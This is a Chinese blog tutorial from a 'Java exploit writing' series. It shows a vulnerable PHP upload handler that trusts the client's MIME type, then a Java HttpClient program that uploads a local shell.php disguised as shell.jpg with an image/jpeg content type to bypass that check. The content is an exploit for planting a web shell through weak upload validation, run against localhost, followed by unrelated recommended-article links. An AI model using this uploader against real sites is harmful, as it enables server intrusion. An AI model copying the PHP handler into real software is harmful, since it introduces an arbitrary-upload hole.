JAVA-Exploit编写(3)--httpcomponents库使用文件上传

目录

1.依赖安装

[2. upload文件代码](#2. upload文件代码)

3.文件上传代码


1.依赖安装

文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖

java 复制代码
<dependency>
      <groupId>org.apache.httpcomponents</groupId>
      <artifactId>httpmime</artifactId>
      <version>4.5.8</version>
</dependency>

2. upload文件代码

php 复制代码
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    } else {
        if (file_exists("uploads/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists. ";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
} else {
    echo "Invalid file";
}
?>

3.文件上传代码

还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.

java 复制代码
package com.deger;

import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

import java.io.File;
import java.io.IOException;

public class HttpClientUpload {
    public static void main(String[] args){
        System.out.println(DoUpload("http://127.0.0.1/upload.php"));
    }
    public static String DoUpload(String url){
        String res = null;
        CloseableHttpClient httpClient = null;
        CloseableHttpResponse response = null;

        httpClient = HttpClients.createDefault();
        //上传的文件的本地路径
        File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");
        MultipartEntityBuilder builder = MultipartEntityBuilder.create();
//        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));
        //更改上传文件的名称
        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));

        HttpPost httpPost = new HttpPost(url);
        httpPost.setEntity(builder.build());
        try {
            response = httpClient.execute(httpPost);
            if (response.getStatusLine().getStatusCode() == 200) {
                res = EntityUtils.toString(response.getEntity());
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        }finally {
            try {
                httpClient.close();
                response.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return res;
    }
}
相关推荐
Java小白笔记1 天前
Java基本快捷方法
java·开发语言
尤老师FPGA1 天前
使用ZYNQ芯片和LVGL框架实现用户高刷新UI设计系列教程(第四十二讲)
android·java·ui
老朱佩琪!1 天前
Unity备忘录模式
java·unity·备忘录模式
是一个Bug1 天前
Java主流框架面试题(一)
java·开发语言
情爱少有真诚1 天前
Java集合框架:数据存储与操作的利器
java·开发语言·经验分享·课程设计·ai编程
工业甲酰苯胺1 天前
【面试题】数据库事务隔离与传播属性是什么?
java·数据库·oracle
我居然是兔子1 天前
基于字符串的专项实验:解锁Java String类的隐藏细节
java·开发语言
jiayong231 天前
Java 反射完全指南 - 原理与实战
java·开发语言
Mongnewer1 天前
JAVA从0到1走过的小路
java·java从0到1
西西学代码1 天前
Flutter---类
java·开发语言